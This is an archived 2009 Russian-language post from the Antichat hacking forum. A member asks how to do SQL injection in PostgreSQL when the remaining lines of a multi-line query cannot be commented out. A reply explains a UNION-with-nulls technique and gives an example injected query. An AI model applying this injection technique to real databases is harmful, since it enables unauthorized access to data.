Показать сообщение отдельно

  #4  
Старый 05.09.2009, 11:53
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами: 10158086

Репутация: 1359


По умолчанию

Цитата:
Сообщение от osnovatel  
Доброго дня!
Может быть кто-нибудь подскажет, как провести SQL Injection в Postgresql если запрос в несколько строк, и я не могу закомментировать остаток, например..

line 10 WHERE a.id=[тут иньекция] AND
line 11 b.b_id = a.a_id AND
line 12 c.c_id = b.b_id AND
line 13 c.c_id = 100;

комментарий вида -- комментит только до конца строки, то что на следующей строке он не комментит.
комментарий вида /* требует чтобы коммент закрывался, а вставить */ в конце запроса я не могу.

названия таблиц a,b,c я не знаю, поэтому не могу закончить запрос сам.

жду комментариев. спасибо.
Думаю такую штуку можно провернуть.
Ориентируйся на

select 1 union select 2 union select 3;

тоесть в твоем случае нужно будет знать имена таблиц, которые участвуют в изначальной выборке.
например у тебя есть запрос:
select title,body from news,users,topic where users.id={sqlinj | news.author_id} AND news.topic_id=topic.id;

то переписать его можно так:

select title,body from news,users,topic where user.id={
0 union select null, null
union select null,null from news,users,topic where 1=1
} AND news.topic_id=topic.id;


Примерно так.

ps Для таких вопросов есть специальная тема.
https://forum.antichat.ru/thread46016.html

Последний раз редактировалось geezer.code; 05.09.2009 в 11:56..
 
Ответить с цитированием